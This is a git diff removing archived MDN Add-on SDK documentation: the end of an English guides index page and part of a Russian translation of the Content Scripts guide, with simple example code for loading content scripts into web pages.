- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User Experience</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Temporary Installation in Firefox</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Debugging">Debugging</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features">Testing persistent and restart features</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">Developing for Firefox for Android</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">Getting started with web-ext</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">Extensions and the Add-on ID</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Request_the_right_permissions">Request the right permissions</a></li>
- </ol>
- </li>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">JavaScript APIs</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/alarms">alarms</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks">bookmarks</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings">browserSettings</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browsingData">browsingData</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/clipboard">clipboard</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/commands">commands</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contentScripts">contentScripts</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities">contextualIdentities</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies">cookies</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.network">devtools.network</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels">devtools.panels</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/dns">dns</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads">downloads</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/events">events</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/extension">extension</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/extensionTypes">extensionTypes</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/find">find</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history">history</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/identity">identity</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/idle">idle</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/management">management</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus">menus</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/notifications">notifications</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/omnibox">omnibox</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/permissions">permissions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pkcs11">pkcs11</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/privacy">privacy</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/proxy">proxy</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime">runtime</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/search">search</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions">sessions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sidebarAction">sidebarAction</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs">tabs</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/theme">theme</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/topSites">topSites</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/types">types</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webNavigation">webNavigation</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest">webRequest</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/windows">windows</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">Manifest keys</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/author">author</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/background">background</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/chrome_settings_overrides">chrome_settings_overrides</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/chrome_url_overrides">chrome_url_overrides</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/commands">commands</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_security_policy">content_security_policy</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description">description</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/developer">developer</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page">devtools_page</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url">homepage_url</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/incognito">incognito</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name">name</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/omnibox">omnibox</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/optional_permissions">optional_permissions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/protocol_handlers">protocol_handlers</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/short_name">short_name</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/theme">theme</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version">version</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version_name">version_name</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Themes"><strong>Themes</strong></a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Theme_concepts">Browser themes</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Theme_concepts">Browser theme concepts</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_themes">Lightweight themes</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_themes">Lightweight themes</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_Themes/FAQ">Lightweight themes FAQ</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution"><strong>Publishing and Distribution</strong></a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution">Publishing add-ons</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution">Signing and distribution overview</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Package_your_extension_">Package your extension</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Submitting_an_add-on">Submit an add-on</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Source_Code_Submission">Source code submission</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Resources_for_publishers">Resources for publishers</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Listing">Creating an appealing listing</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Reviews">Review policies</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Agreement">Developer agreement</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Featured">Featured add-ons</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Retiring_your_extension">Retiring your extension</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options">Distributing add-ons</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons">For sideloading</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_for_desktop_apps">For desktop apps</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_in_the_enterprise">For an enterprise</a></li>
- </ol>
- </li>
- <li><a href="https://discourse.mozilla.org/c/add-ons"><strong>Community and Support</strong></a></li>
- <li><a href="#">Channels</a>
- <ol>
- <li><a href="https://blog.mozilla.org/addons">Add-ons blog</a></li>
- <li><a href="https://discourse.mozilla.org/c/add-ons">Add-on forums</a></li>
- <li><a href="http://stackoverflow.com/questions/tagged/firefox-addon">Stack Overflow</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/#Contact_us">Contact us</a></li>
- </ol>
- </li>
-</ol>
-</section>
-
-<p> </p>
-
-<p>This page lists more theoretical in-depth articles about the SDK.</p>
-
-<hr>
-<h3 id="Contributor's_guide"><a name="contributors-guide">Contributor's guide</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="Guides/Getting_Started">Getting Started</a></dt>
- <dd>Learn how to contribute to the SDK: getting the code, opening/taking a bug, filing a patch, getting reviews, and getting help.</dd>
- <dt><a href="Guides/Modules">Modules</a></dt>
- <dd>Learn about the module system used by the SDK (which is based on the CommonJS specification), how sandboxes and compartments can be used to improve security, and about the built-in SDK module loader, known as Cuddlefish.</dd>
- <dt><a href="Guides/Classes_and_Inheritance">Classes and Inheritance</a></dt>
- <dd>Learn how classes and inheritance can be implemented in JavaScript, using constructors and prototypes, and about the helper functions provided by the SDK to simplify this.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="Guides/Private_Properties">Private Properties</a></dt>
- <dd>Learn how private properties can be implemented in JavaScript using prefixes, closures, and WeakMaps, and how the SDK supports private properties by using namespaces (which are a generalization of WeakMaps).</dd>
- <dt><a href="Guides/Content_Processes">Content Processes</a></dt>
- <dd>The SDK was designed to work in an environment where the code to manipulate web content runs in a different process from the main add-on code. This article highlights the main features of that design.</dd>
- <dt><a href="Guides/Testing_the_Add-on_SDK">Testing the Add-on SDK</a></dt>
- <dd>Learn how to run the Add-on SDK test suites.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="SDK_infrastructure"><a name="sdk-infrastructure">SDK infrastructure</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="Guides/Module_structure_of_the_SDK">Module structure of the SDK</a></dt>
- <dd>The SDK, and add-ons built using it, are of composed from reusable JavaScript modules. This explains what these modules are, how to load modules, and how the SDK's module tree is structured.</dd>
- <dt><a href="Guides/SDK_API_Lifecycle">SDK API lifecycle</a></dt>
- <dd>Definition of the lifecycle for the SDK's APIs, including the stability ratings for APIs.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="Guides/Program_ID">Program ID</a></dt>
- <dd>The Program ID is a unique identifier for your add-on. This guide explains how it's created, what it's used for and how to define your own.</dd>
- <dt><a href="Guides/Firefox_Compatibility">Firefox compatibility</a></dt>
- <dd>Working out which Firefox releases a given SDK release is compatible with, and dealing with compatibility problems.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="SDK_idioms"><a name="sdk-idioms">SDK idioms</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="Guides/Working_with_Events">Working With Events</a></dt>
- <dd>Write event-driven code using the the SDK's event emitting framework.</dd>
- <dt><a href="Guides/Content_Scripts">Content scripts guide</a></dt>
- <dd>An overview of content scripts, including: what they are, what they can do, how to load them, how to communicate with them.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="Guides/Two_Types_of_Scripts">Two Types of Scripts</a></dt>
- <dd>This article explains the differences between the APIs available to your main add-on code and those available to content scripts.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="XUL_migration"><a name="xul-migration">XUL migration</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="Guides/XUL_Migration_Guide">XUL Migration Guide</a></dt>
- <dd>Techniques to help port a XUL add-on to the SDK.</dd>
- <dt><a href="Guides/XUL_vs_SDK">XUL versus the SDK</a></dt>
- <dd>A comparison of the strengths and weaknesses of the SDK, compared to traditional XUL-based add-ons.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="Guides/Porting_the_Library_Detector">Porting Example</a></dt>
- <dd>A walkthrough of porting a relatively simple XUL-based add-on to the SDK.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="Multiprocess_Firefox"><a name="multiprocess-firefox">Multiprocess Firefox</a></h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="Guides/Multiprocess_Firefox_and_the_SDK">Multiprocess Firefox and the SDK</a></dt>
- <dd>How to check whether your add-on is compatible with multiprocess Firefox, and fix it if it isn't.</dd>
-</dl>
-</div>
-
-<div class="column-half"> </div>
-</div>
-
-<hr>
-<div>
-<div class="overheadIndicator communitybox" dir="ltr">
-<div class="column-container">
-<h2 id="Join_the_Add-on_SDK_community">Join the Add-on SDK community</h2>
-
-<div class="column-half">
-<div class="communitysubhead">Choose your preferred method for joining the discussion:</div>
-
-<ul class="communitymailinglist">
- <li><a href="https://lists.mozilla.org/listinfo/">Mailing list</a></li>
- <li><a href="https://twitter.com/mozillajetpack">Twitter</a></li>
- <li><a href="http://stackoverflow.com/questions/tagged/firefox-addon-sdk">Stack Overflow</a></li>
- <li><a href="http://groups.google.com/group/mozilla-labs-jetpack">Newsgroup</a></li>
- <li><a href="http://groups.google.com/group/mozilla-labs-jetpack/feeds">RSS feed</a></li>
-</ul>
-</div>
-
-<div class="column-half">
-<ul class="communitycontact">
- <li><strong>IRC: </strong><a href="irc://irc.mozilla.org/jetpack">#jetpack</a> <span class="smaller">(<a href="https://wiki.mozilla.org/IRC">learn more</a>)</span></li>
- <li><strong>Team info: </strong><a href="https://wiki.mozilla.org/Jetpack" title="Designs and plans for the SDK tools">Jetpack Wiki</a></li>
-</ul>
-</div>
-</div>
-</div>
-</div>
diff --git a/files/ru/mozilla/add-ons/sdk/guides/скрипты_содержимого/index.html b/files/ru/mozilla/add-ons/sdk/guides/скрипты_содержимого/index.html
deleted file mode 100644
index 59832331e8..0000000000
--- a/files/ru/mozilla/add-ons/sdk/guides/скрипты_содержимого/index.html
+++ /dev/null
@@ -1,519 +0,0 @@
----
-title: Скрипты Content Scripts
-slug: Mozilla/Add-ons/SDK/Guides/Скрипты_содержимого
-tags:
- - Content script
- - Дополнение
-translation_of: Archive/Add-ons/Add-on_SDK/Guides/Content_Scripts
----
-<article id="wikiArticle">
-<p>{{AddonSidebar}}</p>
-
-<div class="blockIndicator warning">
-<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
-</div>
-
-<p>{{LegacyAddonsNotice}}</p>
-
-<p>Многим дополнениям (add-on) необходим доступ к веб-страницам и возможность их изменения. Но основной код дополнения не имеет прямого доступа к веб-содержимому. Взамен, SDK-дополнений необходим способ в коде, который даст доступ к веб-содержимому в отдельных скриптах, которые называются <code>content scripts</code> (скрипты содержимого). Эта страница описывает как разрабатывать и реализовывать <code>content scripts</code>.</p>
-
-<p>Скрипты <code>content scripts</code>, вероятно, один из наиболее сбивающих с толку аспектов при работе с SDK, но вам они скорее всего будут нужны. Существуют пять основных принципов:</p>
-
-<ul>
- <li>расширения основного кода, включая "main.js" и другие модули в "lib", могут использовать SDK <a href="/en-US/Add-ons/SDK/High-Level_APIs">верхнего-уровня</a> и <a href="/en-US/Add-ons/SDK/Low-Level_APIs">нижнего-уровня</a> API, но не имеют доступа к веб-содержимому напрямую;</li>
- <li>скрипты <code>content scripts </code><a href="/en-US/Add-ons/SDK/Guides/Two_Types_of_Scripts#API_Access_for_Add-on_Code_and_Content_Scripts">не могут использовать API в SDK</a> (нет доступа к глобальным <code>exports</code>, <code>require</code>) но есть доступ к веб-содержимому;</li>
- <li>API в SDK которые используют <code>content scripts</code>, например <a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod">page-mod</a> и <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs">tabs</a>, предоставляют функции, которые позволяют коду расширения загружать скрипты содержимого в веб-страницы;</li>
- <li>скрипты <code>content scripts </code>могут быть загружены как строки, но чаще они хранятся как отдельные файлы в папке "data". jpm не создаёт каталог "data" по умолчанию, поэтому вы должны создать его и положить туда ваши скрипты;</li>
- <li>API передачи сообщений позволяет основному коду и скриптам <code>content scripts </code>взаимодействовать друг с другом.</li>
-</ul>
-
-<p>Следующее дополнение (полностью завершённое) показывает эти принципы. "main.js" прикрепляет <code>content scripts</code> к текущей вкладке, используя модуль <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs">tabs</a>. В этом случае, <code>content scripts</code> передаётся, как строка. Скрипт <code>content scripts</code> просто заменяет содержимое страницы:</p>
-
-<pre class="brush: js">// main.js
-var tabs = require("sdk/tabs");
-var contentScriptString = 'document.body.innerHTML = "&lt;h1&gt;this page has been eaten&lt;/h1&gt;";'
-
-tabs.activeTab.attach({
- contentScript: contentScriptString
-});</pre>
-
-<p>Следующие высокоуровневые SDK-модули, могут использовать скрипты <code>content scripts </code>для изменения веб-страниц:</p>
-
-<ul>
- <li><a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod">page-mod</a>: позволяет вам прикреплять <code>content scripts</code> к веб-страницам, которые соответствуют заданному URL шаблону.</li>
- <li><a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs">tabs</a>: экспортирует объект <code>Tab</code> для работы с вкладкой браузера. <code>Tab-объект включает</code> функцию <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach(options)"><code>attach()</code></a>, которая позволяет прикрепить <code>content scripts</code> ко вкладке.</li>
- <li><a href="/en-US/Add-ons/SDK/High-Level_APIs/page-worker">page-worker</a>: позволяет вам получить страницу, без отображения её. Вы можете прикрепить <code>content scripts</code> к странице, чтобы иметь доступ и возможность изменять DOM страницы.</li>
- <li><a href="/en-US/Add-ons/SDK/High-Level_APIs/context-menu">context-menu</a>: использует <code>content scripts</code> для взаимодействия со страницей, в которой вызывается меню.</li>
-</ul>
-
-<p>В дополнение к этому, некоторые SDK компоненты пользовательского интерфейса - <code>panel, sidebar, frame</code> - заданы в помощью HTML, и необходимо использовать отдельные скрипты для взаимодействия с их контентом. В большинстве случаев они похожи на скрипты <code>content scripts</code>, но в данной статье они не описываются. Для изучения способов взаимодействия с данными модулями пользовательского интерфейса обратитесь к документации: <a href="/en-US/Add-ons/SDK/High-Level_APIs/panel">panel</a>, <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_sidebar">sidebar</a>, <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_frame">frame</a>.</p>
-
-<p>Почти все примеры дополнений, представленных в этом руководстве, доступны в полнофункциональном, но минимально необходимом, виде. На GitHub: <a href="https://github.com/mdn/addon-sdk-content-scripts">addon-sdk-content-scripts repository</a>.</p>
-
-<h2 id="Загрузка_content_scripts">Загрузка content scripts</h2>
-
-<article id="wikiArticle">
-<p>Вы можете загрузить одиночный скрипт посредством задания строкового атрибута <code>contentScript</code> или <code>contentScriptFile.</code> Атрибут<code> contentScript</code> определяет строковое значение как сам скрипт:</p>
-
-<pre class="brush: js">// main.js
-
-var pageMod = require("sdk/page-mod");
-var contentScriptValue = 'document.body.innerHTML = ' +
- ' "&lt;h1&gt;Page matches ruleset&lt;/h1&gt;";';
-
-pageMod.PageMod({
- include: "*.mozilla.org",
- contentScript: contentScriptValue
-});</pre>
-
-<p>Атрибут <code>contentScriptFile</code> определяет строковое значение как путь к ресурсу<code>://<em>URL-путь к скрипту, который находится в подкаталоге вашего дополнения</em>.</code> jpm не создаёт папку "data" по умолчанию, поэтому вы должны добавить её и положить внутрь файл <code>content scripts</code>.</p>
-
-<p>Следующее дополнение использует URL для ссылки на файл "content-script.js", находящийся в папке <code>data </code>в корне дополнения.</p>
-
-<pre class="brush: js">// main.js
-
-var data = require("sdk/self").data;
-var pageMod = require("sdk/page-mod");
-
-pageMod.PageMod({
- include: "*.mozilla.org",
- contentScriptFile: data.url("content-script.js")
-});</pre>
-
-<pre class="brush: js">// content-script.js
-
-document.body.innerHTML = "&lt;h1&gt;Page matches ruleset&lt;/h1&gt;";</pre>
-
-<div class="note">
-<p>Начиная с Firefox 34 и далее , вы можете использовать "./content-script.js" как синоним для self.data.url("content-script.js"). Поэтому можно переписать код main.js, указанный выше, следующим образом:</p>
-
-<pre class="brush: js">var pageMod = require("sdk/page-mod");
-
-pageMod.PageMod({
- include: "*.mozilla.org",
- contentScriptFile: "./content-script.js"
-});
-</pre>
-</div>
-
-<div class="warning">
-<p>Настоятельно рекоммендуется использовать  <code>contentScript </code>только для очень простых скриптов или статичных строк: если это не так, то могут возникнуть проблемы с принятием Вашего дополнения на AMO (<span class="st">addons.<em>mozilla</em>.org</span>).</p>
-
-<p>Содержите ваши скрипты в отдельном файле и загружайте их, используя <code>contentScriptFile</code>. Это сделает ваш код проще в поддержке, отладке, безопаснее, удобочитаемее.</p>
-</div>
-
-<p>Для любого из параметров<code> contentScript</code> или <code>contentScriptFile</code> вы можете загружать несколько скриптов, передавая массив строк:</p>
-
-<pre class="brush: js">// main.js
-
-var tabs = require("sdk/tabs");
-
-tabs.on('ready', function(tab) {
- tab.attach({
- contentScript: ['document.body.style.border = "5px solid red";', 'window.alert("hi");']
- });
-});
-</pre>
-
-<pre class="brush: js">// main.js
-
-var data = require("sdk/self").data;
-var pageMod = require("sdk/page-mod");
-
-pageMod.PageMod({
- include: "*.mozilla.org",
- contentScriptFile: [data.url("jquery.min.js"), data.url("my-content-script.js")]
-});</pre>
-
-<p>Если так сделать, то скрипты смогут взаимодействовать друг с другом, как скрипты загружаемые на одной web-странице.</p>
-
-<p>Можно использовать параметры <code>contentScript</code> and <code>contentScriptFile </code>одновременно. В таком случае скрипты, загружаемые <code>contentScriptFile</code>  загрузятся до <code>contentScript. </code>Это похволяет загружать библиотеки JavaScript, такие как jQuery по URL, а затем использвать их в простом скрипте, загруженном через <code>contentScript</code>:</p>
-
-<pre class="brush: js">// main.js
-
-var data = require("sdk/self").data;
-var pageMod = require("sdk/page-mod");
-
-var contentScriptString = '$("body").html("&lt;h1&gt;Page matches ruleset&lt;/h1&gt;");';
-
-pageMod.PageMod({
- include: "*.mozilla.org",
- contentScript: contentScriptString,
- contentScriptFile: data.url("jquery.js")
-});</pre>
-
-<div class="warning">
-<p>Настоятельно рекоммендуется использовать  <code>contentScript </code>только для очень простых скриптов или статичных строк: если это не так, то могут возникнуть проблемы с принятием Вашего дополнения на AMO (<span class="st">addons.<em>mozilla</em>.org</span>).</p>
-
-<p>Содержите ваши скрипты в отдельном файле и загружайте их, используя <code>contentScriptFile</code>. Это сделает ваш код проще в поддержке, отладке, безопаснее, удобочитаемее.</p>
-</div>
-
-<h3 id="Определение_момента_(времени)_подключения_скрипта">Определение момента (времени) подключения скрипта</h3>
-
-<p>Опция <code>contentScriptWhen </code>определяет момент, когда <code>content script</code> должен быть загружен. Возможные варианты:</p>
-
-<ul>
- <li><code>"start"</code>: загрузить сразу после того, как элемент документа страницы вставляется в DOM. В таком случае DOM-контент ещё пока не загружен, поэтому скрипт не может работать с ним.</li>
- <li><code>"ready"</code>: загрузить скрипт после того, как DOM страницы загружен: то есть в точке активации событий <a href="https://developer.mozilla.org/en/Gecko-Specific_DOM_Events">DOMContentLoaded</a>. В этот момент content scripts уже могут взаимодействовать с DOM-контентом, но загрузка внешних CSS и картинок ещё могла не завершиться.</li>
- <li><code>"end"</code>: загрузить скрипт после завершения загрузки всего контента (DOM, JS, CSS, картинки), в то время, как активируется событие <a href="https://developer.mozilla.org/en/DOM/window.onload">window.onload event</a>.</li>
-</ul>
-
-<p>Значение по умолчанию <code>"<strong>end</strong>"</code>.</p>
-
-<p>Обратите внимание, что <a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach(options)"><code>tab.attach()</code></a> не имеет параметра <code>contentScriptWhen</code>, потому что он обычно вызывается после загрузки страницы.<a href="/en-US/Add-ons/SDK/High-Level_APIs/tabs#attach(options)"><code> </code></a></p>
-
-<h3 id="Передача_конфигурационных_опций">Передача конфигурационных опций</h3>
-
-<p><code>Атрибут contentScriptOptions</code> это JSON-объект, который используется скриптом как read-only значение доступное через свойство <code><a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/self">self</a>.options</code>:</p>
-
-<pre class="brush: js">// main.js
-
-var tabs = require("sdk/tabs");
-
-tabs.on('ready', function(tab) {
- tab.attach({
- contentScript: 'window.alert(self.options.message);',
- contentScriptOptions: {"message" : "hello world"}
- });
-});</pre>
-
-<p>Могут быть использованы любые варианты JSON-объектов (object, array, string, etc.).</p>
-
-<h2 id="Доступ_к_DOM">Доступ к DOM</h2>
-
-<p>Скрипты <code>content scripts</code> могут иметь доступ к DOM страницы, конечно, только те скрипты, которые уже загрузились на странице. При этом скрипты content scripts изолированы от скриптов web-страницы:</p>
-
-<ul>
- <li>content scripts не видят объектов JavaScript, добавленных скриптами web-страницы.</li>
- <li>Если скриты web-страницы переопределят поведения каких-либо DOM-объектов, то скрипты <code>content script</code> обнаружат исходное поведение.</li>
-</ul>
-
-<p>То же происходит в обратную сторону: скрипты web-страницы не увидят объектов JavaScript, добавленных скриптами <code>content scripts</code>.</p>
-
-<p>Например, рассмотрим страницу, где скрипты web-страницы создают переменную <code>foo </code>в объекте <code>window</code>:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html"&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;script&gt;
- window.foo = "hello from page script"
- &lt;/script&gt;
- &lt;/head&gt;
-&lt;/html&gt;</pre>
-
-<p>Другой скрипт (но тоже page-script), загруженный на страницу после этого скрипта (указанного выше), будет иметь доступ к foo. Но скрипт <code>content script</code> нет:</p>
-
-<pre class="brush: js">// main.js
-
-var tabs = require("sdk/tabs");
-var mod = require("sdk/page-mod");
-var self = require("sdk/self");
-
-var pageUrl = self.data.url("page.html")
-
-var pageMod = mod.PageMod({
- include: pageUrl,
- contentScript: "console.log(window.foo);"
-})
-
-tabs.open(pageUrl);</pre>
-
-<pre>console.log: my-addon: null
-</pre>
-
